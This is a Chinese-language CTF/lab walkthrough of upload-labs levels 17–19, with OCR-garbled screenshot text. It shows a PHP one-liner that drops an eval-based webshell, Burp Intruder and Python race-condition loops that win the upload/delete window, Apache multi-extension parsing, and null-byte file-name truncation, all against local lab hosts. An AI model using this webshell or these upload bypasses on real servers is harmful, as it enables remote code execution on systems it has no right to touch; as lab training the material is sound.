方法:利用二次渲染后未覆盖的部分传递恶意代码

Pass-17

上传一个 图片马 然后依然可以利用文件包含漏洞进行解析,但是这似乎没有什么意义

		🕞 🕑 HackBar 🗘 查看器 🖸 控制台 🖸 调试器 🚹 网络 {} 样式编辑器 🔿 性
-пbгооо-и		Q 撞索 HTML
Pass-01 Pass-02 Pass-03 Pass-04 Pass-06 Pass-06 Pass-07 Pass-08 Pass-09 Pass-10 Pass-11 Pass-11 Pass-12 Pass-13 Pass-13 Pass-15 Pass-16 Pass-17 Pass-18 Pass-19 Pass-20	任祭 上传一个 webbell 到服务器. 上传区 请选择要上传的图片: 浏览未选择文件. 上作	<pre>(tail imm) / thead imm() /pre>
		html > body > div#main > div#upload_panel > ol > li > div#img > img
		₹ 1 dia##式 :hov.ds + 兼 ④
		▶ 伪元素
		<pre>#img img ᠿ (</pre>
		继承自li
		:is(ul, ol, dir, menu) :is(ul, ol, dir, menu, li) 白 { (用户代理) quirk.cs

🕷 upload-labs	phpinfo()	+
$\leftarrow \rightarrow \mathbf{G}$	🔿 192.168.93.128/inclue	e.php?file=upload/2420220419230230.png
<pre> PNG IHDR </pre>		

PHP Version 5.2.17	
System	Windows NT DESKTOP-42O10UK 6.2 build 9200
Build Date	Jan 6 2011 17:26:08
Configure Command	<pre>cscript /nologo configurejs "nable-snapshot-build" *nable-debug-pack * with-snapshot-template=dl\php-sdk\snap_5_2\vc6\v86\template *with-php- build=dl\php-sdk\snap_5_2\vc6\v80\php_build *with-pdo-oci=D\php- sdk\snacle\instantclient10\vdk\shared *with-oci=D\php-sdk\snacle \instantclient10\vdk\shared *with-oci=D\php-sdk\snacle</pre>
Server API	Apache 2.0 Handler
Virtual Directory Support	enabled
Configuration File (php.ini) Path	C:\Windows
Loaded Configuration File	E:\phpstudy\PHPTutorial\WWW\upload-labs-env\PHP\php.ini
Scan this dir for additional .ini	(none)

上传一个php文件的时候会发现文件被拦截了,说明这是个白名单

10	Connection: close			
11	Reference http://192_168_93_128/Pass=17/index_php			
12	Upgrade-Insecure-Requests: 1			
13				
14	26407653433881642303175199624			
15	Content-Disposition: form-data; name="upload_file"; filename="phpinfo-1.php"			
16	Content-Type: application/octet-stream			
17				
18	php phpinfo();?			
19	926407653433881642303175199624			
20	Content-Disposition: form-data; name="submit"			
21				
22	上传			
23	26407653433881642303175199624			



源码

\$is_upload = false; \$msg = null; if(isset(**\$_POST['submit']**)){ \$ext_arr = array('jpg','png','gif'); \$file_name = \$_FILES['upload_file']['name']; \$temp_file = \$_FILES['upload_file']['tmp_name']; \$file_ext = substr(\$file_name,strrpos(\$file_name,".")+1); // 截取上传文件的后缀(不包括点) \$upload_file = UPLOAD_PATH . '/' . \$file_name; 1)if(move_uploaded_file(\$temp_file, \$upload_file)){ // 将上传的文件移动到新位置 2) if(in_array(\$file_ext,\$ext_arr)){ // 这里是进行文件后缀的判断 \$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".\$file_ext; rename(\$upload_file, \$img_path); }else{ \$msg = "只允许上传.jpg|.png|.gif类型文件!"; unlink(\$upload_file); // 删除文件 }else{ \$msg = '上传出错! ';

看到上面 1) 和 2) 的位置,先是将上传的文件移动到了新的位置之后再判断文件的是不是图片如果不是再删除移动的图片,逻辑上是不是有 点不严谨了,说明这里就存在可以让我们绕过的地方,如果疯狂的上传和访问图片,就可能造成文件正在被访问不能删除,文件就可以暂时 的保留了。



为了 webshell 可以更好的发挥作用,我这里使用php自动生成一句话木马,这样如果某一次访问成功了,就会生成一个木马文件,目的就达到了。

被访问的文件中的代码

?php

fputs(fopen('shell.php', 'w'),'<?php @eval(\$_POST["cmd"]) ?>')

shell.php 文件就是将被生成的webshell文件,里面写一句话代码

随便上传一个php文件进行抓包,将抓包的数据发送Intruder模块中

?	Choose an attack type		开始攻击(Start attack)
	Attack type;		~
(?)	payload산멾(Payload Positions)		
0	Configure the positions where payloads will be inserted, they can be added into the target as well as the base request.		
	C Terret Mate//02156521600	Update Heat header to match target	添加payload位置 §(Add §)
	Intget: http://fickinget.com/	Ground Host header to material get	清除payload位置 §(Clear §)
	1 POST /Pass=17/index.php HTTP/1.1 2. Host: 102.168.582(1):4980		自动添加payload位置 §(Auto §)
	3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0		刷新(Refresh)
	4 (Accept: text/html,application/xhtml+xml,application/xml;q=0.9, mmage/avif,imagg/webp, +/+;q=0.8 5 Accept-Lansmase: zh=CN_zh=c=0.8 zh=TW=c=0.7, zh=TW=c=0.5 z=r=US:c=0.2 zm:q=0.2		
	6 Accept-Encoding: gzip, deflate		
	<pre>(content-type: multipart/form-data; boundary=200484/39425415099/402098335)</pre>		
	9 Origin: http://192.168.58.21:8080		
	10 Commection: close 11 Referer: http://192.168.58.21:8080/Pass=17/index.php		
	12 Upgrade-Insecure-Requests: 1		
	13 JUNE 1 14		
	15		
	no content-Disposition: form-tack, name-uptoaclife, intername-write_post_cmd.prp 17 Content-Type: application/octet-stream		
	ap / ipup 0 fputs(fopen('webshell.php', 'w'),' php @eval(\$_POST["cmd"])? ');		
	1 (?)		
	23 Content-Disposition: form-data; mame*submit*		
	24 j		
	26		

设置载荷为无载荷,将无限期重复勾选上,这样就可以一直上传shell文件,根本停不下来。



模拟访问上传的shell文件,进行抓包,设置无限制访问,当有一次访问成功后就会在 上传的目录下生成一个 webshell.php 文件。



Payload集(Payload set)

您可以定义一个或多个有效负数集(payload sets),有效负数集(payload sets)前效量取决于"位置(Positions)"造录卡中定义的攻击模型。每个有效负数集(payload sets)可以使用各种有效负数类型(payload type),并且可以以各种方式定制每种有效负数类型(payload type), Payload集(Payload set): Payload数量(Payload count): 未知 Payload葉(Payload set): Null payloads 请求数量(Request count): 0 Payload选项[Null payloads] 它生成一个pavioad值为全的字符串。无需设置pavioad标记,可以在不更改基本请求的情况下重复发送。 ______________________________生成有效载荷 ● 无限重复(Continue indefinitely) Payload处理(Payload Processing) 您可以定义在使用有效负载之前对每个有效负载(payload)执行各种处理任务(tasks)的规则。 添加 启用(Enabl... 规则(Rule) 编辑 明確 向上 向下 Payload编码(Payload Encoding) 为了安全地发送HTTP请求,最终的payload将会对框框内容进行URL编码,如果不需要,可以取消勾勾。

两个 Payload 都设置好了之后,就可以开始表演了。

小插曲:这里不知道是什么原因一直导致上传出错,换了一个环境就可以正常响应了,所以下面就用另外一个环境进行 **条件竞争** 的测试。 (后来发现是因为windows系统的安全中心的问题,php文件一提交就被删了,导致代码中找不到移动的文件然后报错)

← → C	92.168.93.128/Pass-17/index.php
ûpLood-loよ5	
Pass-01 Pass-02 Pass-03 Pass-04 Pass-05 Pass-06 Pass-06 Pass-07 Pass-08 Pass-09 Pass-10 Pass-11 Pass-12	任务 上传一个 webshell 到服务器。 上传区 请选择要上传的图片: 浏览。未选择文件。 上传 通示: 上临出篇!
Pass-14 Pass-14 Pass-15 Pass-16 Pass-17 Pass-18 Pass-19 Pass-20	

$\leftarrow \rightarrow C$	O & 192.168.58.21:8080/Pass-17/index.php	
ûpLood-lo	∠ 5	l
Pass-01 Pass-02 Pass-03 Pass-04 Pass-05 Pass-06 Pass-07 Pass-08 Pass-09 Pass-10 Pass-10 Pass-12 Pass-12 Pass-14 Pass-15	任务 上传一个 websholl 到服务器。 上传区 请选择要上传的图片: 浏览。未选择文件。 上作 前示: ノビロゴ L fr (and) prod griftmet (P)	
Pass-16 Pass-17 Pass-18 Pass-19 Pass-20		

Burp 访问shell文件的时候总是报错,没办法 只能临时用python跑一下了,最终还是跑出来了了,挺好。

?	Payload集(Payload set) 开始改击(Start attack) 您可以定义一个或多个有效负载集(payload sets)。有效负载集(payload sets)的数量取决于"位置(Positions)"选项卡中定义的攻击类型。每个有效负载集(payload sets)可以使用各种有效负载类型(payload type),并且可以以 种方式定制每种有效负载类型(payload type)。							
	Payload集(Payload set):	1	~ ~	Payload数量(Payload count): 未知				
	Payload类型(Payload type):	Null payloads	~)	请求数量(Request count): 0				
?	Payload选页[Null payloa	ads]						
	它生成一个payload值为空的字	5符串。无需设置payload标	▶ 攻击器攻击设置	×				
	〇 生成(Generate)	生成有效载荷						
	○ 无限重复(Continue indefine)	nitely)	Warnings					
?	Payload处理(Payload Pro 您可以定义在使用有效负载之前	<mark>ocessing)</mark> i对每个有效负载(payload	 The basic request does not contain a blank line, and so is not a valid HTTP. 	equest.				
	添加 启用(Enabl	规						
	编辑							
	删除							
	向上							
	「「」「」		忽略 返回					
?	Payload编码(Payload En	coding)						

为了安全地发送HTTP请求,最终的payload将会对框框内容进行URL编码,如果不需要,可以取消勾勾。

1 2	import requests			Used: 77	ж СР∪#7 🖬 1 1% у	L. 12. 111 115 1. 11		עק רמ		IN SUBLIME
3 4	payload = nttp://192.108.58.21:8080/upload/wrile_post_cmd.pnp n = 0	5 攻击	保存	列	3. Intruder attack of I	http://192.1	68.58.21:	8080 - Temporary a	attack - Not saved to project file	- 🗆 X
5	while n <= 10000:	结果	位置	有效载荷	资源池(Resource Pool)	选项(Optio	ons)			
6 7	request = request.get(payLoad) status = request.status_code	筛选(Filter):	:显示所有	有项目(Showing	all items)					0
9	print('webshell.php已生成,访问状态码:', status)	请求(Req		有效戰荷	i 状态(Status)	错误(Err	超时	长度(Length)	注释(Comment)	
10		11320	null		200			3733		
11		11321	null		200			3733		
12		11322	null		200			3733		
13	print("还在访问中")	11323	null		200			3733		
14 15	continue nnint('END')	11325	null		200			3733		
16		11326	null		200			3733		
17		11327	null		200			3733		
18		11328	null		200			3733		
		11329	null		200			3733		
		11330	null		200			3733		
		11332	null		200			3733		
		11333	null		200			3733		
		11334	null		200			3733		
		11335	null		200			3733		
还在说	词中									
还在说	词中	11854 💷								
还在访										
2010日の10日の10日の10日の10日の10日の10日の10日の10日の10日	7月中									
<u></u> 2 仕 り 沃	7円半									
いたい	1977									
还在说	问中									
还在说	问中									
	词中									
还在访	词中······			59550	- 424.9 K MET	OPCORC				
还在说				OUT -	4.30 6					
websh	ell.php已生成,访问状态肖: 200					~~~				

访问一下 webshell.php 文件,验证一些是否真的成功生成了。

$\leftarrow \rightarrow C$	O & 192.168.58.21:8080/upload/webshell.php	☆ L	د الم ال	*		\leq
-3 导入书签 ≌ 新手上路 🗋 kali]	具是 凸 CTFEO场 ①文章改要 ①代码运行工具 〇年记工具 〇 开想效用 ① 安全厂商 〇 在线解码工具 🦉 首度图译-200种语言 〇 CTF, Scan, Tools				Ся	他书盔

访问空白,说明文件存在,只是没有输出语句,所以看起来就是空白的,使用插件给shell传参执行。

🚡 upload-labs	× phpinfo() × +			SEA SH
$\leftarrow \ \rightarrow \ \mathbf{G}$	O 8 192.168.58.21:8080/upload/webshell.php			E 🕁 🤇
🕣 导入书签 单 新手上	路 🗅 kali工具栏 🗋 CTF靶场 🗋 文章收藏 🗋 代码运行工具 🗋 笔记	江具 🗅 开源项目 🗋 安全厂商 丨	□ 在线解码工具 🙀 百度翻译-200种语言 □ CTF_Scan_Tools	
		PHP Version	5.5.38 Php	
		System	Linux 25be7a005050 3.10.0-862.2.3.el7.x86_64 #1 SMP Wed May 9 18:05:47 UTC 2018 x86_64	
		Build Date	Aug 10 2016 21:02:47	
		Configure Command	'./configure' 'with-config-file-path=/usr/local/etc/php' 'with-config-file-scan- dir=/usr/local/etc/php/conf.d' 'disable-cgi' 'enable-ftp' 'enable-mbstring' 'enable-mysqlnd' 'with-curl' 'with-libedit' 'with-openssl' 'with-zlib' ' with-apx2'	
		Server API	Apache 2.0 Handler	
		Virtual Directory Support	disabled	
		Configuration File (php.ini) Path	/usr/local/etc/php	
		Loaded Configuration File	/usr/local/etc/php/php.ini	
		Scan this dir for additional .ini files	/usr/local/etc/php/conf.d	
		Additional .ini files parsed	/usr/local/etc/php/conf.d/docker-php-ext-exif.ini, /usr/local/etc/php/conf.d / <u>docker-ph</u> p-ext-gd.ini, /usr/local/etc/php/conf.d/php.ini	
🕞 🐑 HackBar 🗘 查	酒器 ▶ 控制台 ▶ 调试器 11 网络 {}样式编辑器 • ① 性能 10	🖡 内存 😑 存储 肯 无障碍环境	照 应用程序 く DOM	
Encryption - Encod	ding • SQL • XSS • LFI • XXE • Other •			
🕭 Load URL	http://192.168.58.21:8080/upload/webshell.php			
🛠 Split URL				
Execute	✓ Post data ☐ Referer ☐ User Agent ☐ Cookies Add	Header Clear All		
			H DNT 1	
	cmd=phpinfo();			
			H Upgrade-Insecure-Requests:	1
			H Connection: keep-alive	

成功访问 webshell.php 文件并传参输出。

方法:条件竞争

Pass-18

上传一个shell文件抓包,放到重放模块进行测试,先是测试了一下服务端验证逻辑,我在png后面加了空格,响应中直接提示不允许上传, 正常上传一个png后缀的文件就没有问题。



上面和下面的返回对比,就知道,这关没有过滤空格,也不校验 MIME 和 文件头只是校验文件的后缀,妥妥的白名单。



没什么思路,就看看源码和提示吧

源码 /index.php \$is_upload = false; \$msg = null; if (isset(\$_POST['submit'])) { require_once("./myupload.php"); // 包含这个php文件 \$imgFileName =time(); // 获取当前时间 // 创建一个对象,获取上传文件的文件名、临时文件名、文件的大小和当前系统时间 \$u = new MyUpload(\$_FILES['upload_file']['name'], \$_FILES['upload_file']['size'],\$imgFileName); \$status_code = \$u->upload(UPLOAD_PATH);

```
switch ($status_code) {
   case 1:
      $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
     break;
   case 2:
      $msg = '文件已经被上传,但没有重命名。';
     break;
    case -1:
      $msg = '这个文件不能上传到服务器的临时文件存储目录。';
     break;
    case -2:
      $msg = '上传失败, 上传目录不可写。';
     break:
    case -3:
      $msg = '上传失败,无法上传该类型文件。';
     break;
   case -4:
      $msg = '上传失败, 上传的文件过大。';
     break;
   case -5:
      $msg = '上传失败,服务器已经存在相同名称文件。';
     break;
   case -6:
      $msg = '文件无法上传,文件不能复制到目标目录。';
     break;
   default:
      $msg = '未知错误! ';
      break;
var $cls_arr_ext_accepted = array(
  ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
  ".html", ".xml", ".tiff", ".jpeg", ".png" );
 ** Method to upload the file.
 ** This is the only method to call outside the class.
 ** @para String name of directory we upload to
 ** @returns void
function upload( $dir ){
 $ret = $this->isUploadedFile();
 if( $ret != 1 ){
  return $this->resultUpload( $ret );
```
```
if( $ret != 1 ){
 return $this->resultUpload( $ret );
$ret = $this->checkExtension(); // 检查后缀
if( $ret != 1 ){
 return $this->resultUpload( $ret );
$ret = $this->checkSize(); // 检查文件大小
if( $ret != 1 ){
 return $this->resultUpload( $ret );
// if flag to check if the file exists is set to 1
if( $this->cls file exists == 1 ){
 $ret = $this->checkFileExists(); // 检查文件是否存在
 if( $ret != 1 ){
  return $this->resultUpload( $ret );
// if we are here, we are ready to move the file to destination
$ret = $this->move(); // 移动文件
if( $ret != 1 ){
 return $this->resultUpload( $ret );
if( $this->cls rename file == 1 ){
 $ret = $this->renameFile(); // 重命名文件
 if( $ret != 1 ){
  return $this->resultUpload( $ret );
// if we are here, everything worked as planned :)
return $this->resultUpload( "SUCCESS" );
```

看到上面的代码我都有点懵了,因为我不认识,但是看对象的名字也就知道这段代码的作用了(**这里感谢□作者给出的命名规范**),上面 先是判断文件的**后缀是否符合**,文件是否存在然后**移动文件**之后再**重命名**,所以这里也可能存在**条件竞争**,因为改名在移动的后面,只 要绕过后缀检测,再快速的访问文件,就有可能没改成文件名。但是为什么会执行代码呢?因为这里可能是存在**apache文件解析漏洞**(从 右到左依次解析),所以和解析漏洞配合使用。和上面一题一样,无限上传然后配合文件包含漏洞无限访问上传的文件,一直到成功访问且 生成一个shell文件。

					仪表盘(Dashbo	ard) 目标(Ta	arget) (H	(理(Proxy)	攻击器(Intri	ider) 重放器(Repeater)	定序器(Sequencer)	编码工	具(Decoder)
••	get_url.py ×				1 × 2 ×								
				_	位置 有效载	荷 资源池(Reso	ource Pool)	选项(Op	otions)				
					Change a	an attack ture						TTAO TAAL (0	
					() Choose a	п аттаск туре						并始以击(S	tart attack)
					Attack type	e: 狙击手-单个payl	oad(Sniper)				~		
							1 11						
			> 10 H	计保存列		5. Intruder atta	ck of http://19	2.168.93.1	28 - Temporary at	tack - Not saved to project file		U ,	×
			结果	位置 オ	的复数荷 资源	弛(Resource Pool)	选项(Opti	ions)					
		t = requests.get(payload)	筛选(Filte	r):显示所有项	目(Showing all ite	ems)						(2
	status	= request.status_code	in the second seco			distante en la		4Test	10000	14.00 cm			-
	IT SLd	tus == 200: int('wahshall nhn已生成	请求(Req	. ^	有双载荷	状态(Stat	us) 错误(Err	超时	长度(Length))王梓(Comment)			vdd §)
	br	eak	1	null		200			3777				lear 6)
			2	null		200			3777				icur sy
			3	null		200			3777				(Auto §)
		int('还在访问中',status)	4	null		200			3777				
	COI	ntinue 'N	5	null		200			3///				
			7	null		200			3777				
<u>11</u>	<u> </u>		8	null		200			3777				
土在1	万回甲 ★词由	. 404	9	null		200			3777				
企住	方凹中 方间中	. 404 AQA	10	null		200			3777				
示在	方问中	. 404	12	null		200			3777				
			13	null		200			3777				
歪在i	前中		14	null		200			3777				
歪在i	前回中	. 404	15	null		200			3777				
全仕) (太 左)	方円屮・・・・・・・ ☆问由	. 404	17	null		200			3777				
不在	がり テ・・・・・・ 方向 中	101	18	null		200			3777				
- 在	方问中	. 404	19	null		200			3777				_
			2054 📟							-			_
 在	<u> 前回中</u>				17	ent-Type: appr	ication/oc	tet-stre	eam				
土在1	方回中 ☆河中	. 404			18 ph</th <th>p</th> <th></th> <th></th> <th></th> <th></th> <th></th> <th></th> <th></th>	p							
企住	方凹中 方间中	. 404 			19 fpu	uts(fopen('web	shell.php',	, 'w'),'	php @eval(\$</th <th>_POST["cmd"])?>');</th> <th></th> <th></th> <th></th>	_POST["cmd"])?>');			
- 不在	方问中	. 404			20 ?>			-1575841	1387218119464	2009155144			
					22 Conte	ent-Dispositio	n: form-da	ta; name	e=″submit″				
	方问中				23								
企在 1	方回中	. 404			24 ä, å	11/14		-1575941	1207010110464	22000155144			
企在)	方回屮 主间中	. 404			20			101064	130/210119404.	2009100144			
æ1±1 vehs	hell php∃⊈5	. 404 成. 访问状态码: 200											
END					() ()	← → <u>###(Se</u>	arch)				没有匹配	清除(Clea	ar)
Fin	ished in 0.9	s]			Opayload (位품?					长度・1059		

这里顺便贴上我不怎么滴的py代码

在没有把握一次成功的时候,建议先使用 有限循环测试,没问题之后再进行无限循环,避免把电脑搞崩(跑到一定程度上py会自动退出)

!/usr/bin/env python3

-*- coding:'UTF-8' -*-

@Filename: upload-labs.py

@Version: v0.1

@Author: 0ne0ay

@Email: one0ay@163.com

@Time: 2022-04-20 23:02:29

@Note: upload-labs Pass-17~18

import requests

payload = 'http://192.168.93.128/upload/wfile_post_cmd.php.7z' // 这里写访问的文件地址

n = 1

"':return while 有限循环100次将True改为 n < 100, 将注释n部分去掉"''
while True:
request = requests.get(payload)
status = request.status_code
if status == 200:
print('webshell.php已生成,访问状态码: ', status) // 生成shell后会自动退出循环
break
else:
n += 1
print('还在访问中.......',status)
continue
print('END')</pre>

前面试了好几次,都没跑出来,感谢这位【博主】的文章,让我又少走了弯路。这题中可能存在一个小Bug也可能是故意的,文件直接上传到了 **根目录**下,所以访问 upload 下怎么访问都没有用。

修改 靶场源码,添加个 '/' 就可以将bug修复。

📑 index php23 🔚 ayuplead php13				
113 D function checkExtension()/				
115 // Check if the extension is valid				
if in array strolower strolower (this.) is filename "")) Sthis.) are array accented)) (
i return "Extension Failule":				
110 lelse /				
120 return 1:				
103				
12 II Mathed to shack if the file is not to big				
127 II Software styling				
127 - Credeno acting				
100 if (chin yele filmine y chin yele mu filmine) (
1) III (JULIS-/CIS_ILIESIZE / JULIS-/CIS_BAX_ILIESIZE) (
130 }				
140 Hetiol to wap pip 4.0.3 for more aploaded_file()				
142 - Stetuins Sching				
145 - 11 move plotte plotte plotte plotte plotters.				
14/) Clar (14/)				
100 (At charleFileFileFileFile)				
As Method to check if a file with the same name eviets in				
155 At destination filder				
157 At Arepure et allor				
158 - X/				
PHP Hypertext Preprocessor file	length : 9,884 lines : 315	Ln: 145 Col: 78 Pos: 4,657	Windows (CR LF) UTF-8	10

现在来测试下生成的webshell能不能用了。

🕷 upload-labs	×	fo()	× +						
$\leftarrow \ \rightarrow \ {\tt G}$	0	8 192.168.93.128	/upload/webs	shell.php					
🕣 导入书签 👈 新手上路	・ Chali工具栏	C CTF靶场 C 文	章收藏 🗋 代码	运行工具 🗅	笔记工具 🎦 开源	颠目 🗋 安全厂商	□ 在线解码工具 译 百度翻译-200种语言 □ CTF_Scar	n_Tools	
						PHP Version	5.2.17	php	
						System	Windows NT DESKTOP-42010UK 6.2 build 9200		
						Build Date	Jan 6 2011 17:26:08		
						Configure Command	cscript /nologo configure.js "enable-snapshot-build" "enabl snapshot-lemplate=d'.php-sd/ksnap_5_2vc6kv86/template" "- sd/ksnap_5_2vc6kv86/php_build" "with-pdo-oci=D.\php-sd/k \sdk,shared" "with-oci8=D\php-sd/kloracle\instantclient10\sd pl3web"	e-debug-pack" "with- -with-php-build=d:\php- oracle\instantclient10 lk,shared" "without-	
						Server API	Apache 2.0 Handler		
						Virtual Directory Support	enabled		
						Configuration File (php.ini) Path	C:\Windows		
						Loaded Configuration File	E:\phpstudy\PHPTutorial\WWW\upload-labs-env\PHP\php.ini		
						Scan this dir for additional .ini files	(none)		
						additional .ini files parsed	(none)		
						PHP API	20041225		
						PHP Extension	20060613		
🕞 🐑 HackBar 🗘 查看	諸 ▷ 控制台	□ 调试器 14 网络	A { } 样式编辑	器 🕥 性能	10:内存 目 荷	存储 肯 无障碍环境	記 闘 应用程序 〈› DOM		
Encryption - Encodir	ng 👻 SQL 👻	XSS - LFI -	XXE - Othe	r ×					
Load URL	http://192.168	.93.128/upload/web	oshell.php						
● Execute									
Execute	🗹 Post data 🛛	🗌 Referer 🔲 Use	er Agent 🔲 🕻	Cookies	dd Header	Clear All			
	cmd=phpinfo());						H Upgrade-Inse	cure-Requests:
								H Connection: F	keep-alive

方法: apache解析漏洞配合条件竞争

Pass-19

上传了一个php文件测试了一下,发现这里把名字改成了下面标红的部分,这个部分的名字可以自定义,但是后缀必须符合要求,不然不能 保存。

发送(Send)	取消(Cancel)	< v > v

法步(Ragnact)	間域/Respons)	
差化(Pretty) 原始(Raw) 16进制(Hex) Cookies 目 In 目	美化(Pretty) 原始(Raw) 16进制(Hex) 順应内容(Render) 清求头(Headers) ラ い	=
1 POST /Pass=19/index nhn HTTP/1 1	52 <01>	
Host: 192.168.93.128	53 <1i>	
3 User-Agent: Mozilla/5.0 (Windows NT 10.0: Win64: x64: rv:100.0) Gecko/20100101 Firefox/100.0	54 <h3></h3>	
Accept:	任务	
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8		
5 Accept-Language: zh-CN, zh:g=0, 8, zh-TW;g=0, 7, zh-HK;g=0, 5, en-US;g=0, 3, en;g=0, 2	55	
6 Accept-Encoding: gzip, deflate	上传一个 <code></code>	
7 Content-Type: multipart/form-data	webshell	
boundary=373770433611405343412986998997		
8 Content-Length: 512	到服务器。	
9 Origin: http://192.168.93.128		
10 Connection: close	56	
11 Referer: http://192.168.93.128/Pass-19/index.php	57 <1i>	
12 Upgrade-Insecure-Requests: 1	58 <h3></h3>	
13	上传区	
14373770433611405343412986998997		
15 Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php"	59 <form enctype="multipart/form-data" method="post"></form>	
16 Content-Type: application/octet-stream		
17	「南选择要工传的图片: 」	
18 php phpinfo(); ?	61 <input class="input_file" name="upload_file" type="file"/>	
19		
20	体行名称: (p)	
3/3/7/0433611405343412986998997	unlack-10 ing" ()	
22 Content-Disposition: form-data; name= save_name		
	64 (input class="button" type="cubmit" pame="cubmit" value=" L'#"/>	
22 4 4 4 5 4 5 4 5 4 5 4 5 4 5 4 5 4 5 4	65 (/form>	
20 Content-Dignorition: form	66 (div id="msg")	
27 Concent Disposition. form data, name- submit	67 (/iv>	
21 1 2 1 4 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2	68 (div id="ime")	
29	69 	
5151101500111005151250550551		
	70	
	71	
	72	
	73	

我将保存的文件名进行修改,利用 00截断 试图绕过这个限制,当保存文件的名字的时候,遇到截断后,只保存0x00前面的部分。

従送(Send) 取満(Cancel) < ▼ > ▼		目标: http://192.168.93.128 🔗 HTTP/1 ?
请求(Request)	响应(Respons)	Inspector \blacksquare \blacksquare Ξ \div \otimes \times
美化(Pretty) 原始(Raw) 16进制(Hex) Cookies 🗐 \n ☰	美化(Pretty) 原始(Raw) 16进制(Hex) 响应内容(Render) 请求头(Headers) 🗐 🖙 Ξ	Selection 1 ^
1 POST /Pass=19/index.php HTTP/1.1 2 Host: 192.168.93.128	2 <01> 3 <11>	Selected character
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0	4 <h3></h3>	10
4 Accept: text/html application/vhtml+vml application/vml:c=0 0 image/avif image/webp #/#:c=0 8	任労 	
5 Accept-Language: zh-CN, zh; q=0. 8, zh-TW; q=0. 7, zh-HK; q=0. 5, en-US; q=0. 3, en; q=0. 2	5 (p)	5-d- 16998(01-0) bd
6 Accept-Encoding: gzip, deflate	上传一个 <code></code>	Code Iojziej(nex) V
7 Content-Type: multipart/form-data; houndary=		00
8 Content-Length: 512	到服务器.	Res (Cancel) Apply changes
9 Origin: http://192.168.93.128	$\langle /p \rangle$ 6 $\langle /li \rangle$	Apply changes
11 Referer: http://192.168.93.128/Pass=19/index.php	7 	Request Attributes 2 🗸
12 Upgrade=Insecure=Requests: 1	8 (h3)	
13	上115区 〈/h3〉	Request Query Parameters 0 V
15 Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php"	<pre>9 <form enctype="multipart/form-data" method="post"></form></pre>	Request Body Parameters 3
16 Content-Type: application/octet-stream	0	
17 18 php phpinfe(): ?	<pre>input class="input_file" type="file" name="upload_file"/></pre>	Request Cookies 0 V
19	2 (p)	New Instance in the second sec
20 272770 422611 4052 42 41 000600007	保存名称: 〈innut class=`innut tart´ type='tart´ name='save name' value='	18 x ≠ (Kequest Headers)
22 Content-Disposition: form-data; name="save_name"	upload=19. jpg" />	Response Headers 6 V
23	$\langle br/ \rangle$	
24 upload=19, php . jpg 25	5	
26 Content-Disposition: form-data; name="submit"	6 <div id="msg"></div>	
27	7	
20 L12 29373770433611405343412986998997	<pre>9 </pre>	
	1	

V D	m 🖾 🔚 munn load phr	文件 主页	共享	查看 图片工具			~ 🔮	
-	**/	$\leftarrow \rightarrow \cdot \uparrow$	📙 « ph	tudy > PHPTutorial > WWW > upload-lab	s-env > WWW > upload ~	ō		_
户	function checkEx							
	// Check if th	🖈 快速访问			此文件夹为空。			
H	if(!in array(📃 桌面	*					
Т	return "EXTE	👆 下戴	*					
	} else { return 1;	🔮 文档	*					
-	3	▶ 图片	*					
-	}	upload						
¢	/** checkSize()	www						
	** ** Method to ch	📑 视频						
	** @returns str	🎝 音乐						
þ	function checkSi	lange de ConeDrive						
¢	if(\$this->cls	🔜 此电脑						
	return "FILE	🧊 3D 对象						
	return 1;	📑 视频						
E	}	■ 图片						
	1	🔮 文档						
F	/** move() **	👆 下载						
	** Method to wr	🎝 音乐						
	** @returns str **/	三 桌面						
þ	function move() {	🏪 本地磁盘	(C:)					
	if(move uploa	🔜 xp (E:)						
T	return "MOVE	🛖 xp (E:)						

当发送数据包之后再查看一下。

1 x					
发送(Send) 取消(Cance) < ▼ > ▼				目标: http:/	/192.168.93.128 🔗
请求(Request)	响应(Resp	ons)		Inspector	III -
美化(Pretty) 原始(Raw) 16进制(Hex) Cookies 🚍 In ☰	美化(Pretty)	原始(Raw) 16进制(Hex) 响应内容(Render) 请求头(Headers)	🗐 \n ≡	Selection	
1 POST /Pass-19/index.php HTTP/1.1		上传区			•
2 Host: 192.168.93.128	50			Selected charac	ter
S USET Agent: M021114/5.0 (Windows Ni 10.0; Wind4; X04; TV:100.0) GecK0/20100101 FireToX/100.0	60	(n)		10	
text/html.application/xhtml+xml.application/xml'o=0.9.image/avif.image/webp.*/*:o=0.8	00	请洗择要上传的图片:			
5 Accept-Language: zh-CN, zh; q=0. 8, zh-TW; q=0. 7, zh-HK; q=0. 5, en-US; q=0. 3, en; q=0. 2	61	<input class="input_file" name="upload_file" type="file"/>			
6 Accept-Encoding: gzip, deflate	62			Code 16进制	J(Hex) ✓
7 Content-Type: multipart/form-data;		保存名称:		00	
boundary=373770433611405343412986998997	63	<input class="input_text" name="save_name" td="" type="text" v<=""/> <td>alue="</td> <td></td> <td></td>	alue="		
8 Content-Length: 517		upload-19.jpg />		1	取消(Cancel) Apply
9 Origin: http://192.168.93.128			* 1- H-* 1-		
10 Connection: close	04	<pre>(input class= button type= submit name= submit value= (lform))</pre>	工作フ	Request Attribute	
11 Referen: http://192.108.95.128/Pass-19/index.pnp	66	(div id="meg")		Request Autoute.	,
12 opgrade Insecure Requests. 1	67	(div)		Request Query Re	rameterr
14373770433611405343412986998997	68	<div id="ime"></div>		Request Query Pa	in anne cen s
15 Content-Disposition: form-data: name="upload file": filename="phpinfo.php"	69			Request Rody Par	amotors
16 Content-Type: application/octet-stream				Request body Par	ameters
17				Request Cookies	
18 php phpinfo(); ?	70			Request Cookies	
19	71			連走到 (Request H	(maken)
20	72			请永天(Nequest He	eauers)
21	73			Deserve Handes	-
22 Content-Disposition: form-data; name= save_name	74			Response Header	5
23 24 unload-18 nhm ing	76	(center)			
25		Copyright :@@nbsp: <span_id="copyright_time"></span_id="copyright_time">			
26 Content-Disposition: form-data; name="submit"					
27		by 			
28 上传		c0ny1			
29373770433611405343412986998997					
		(center)			

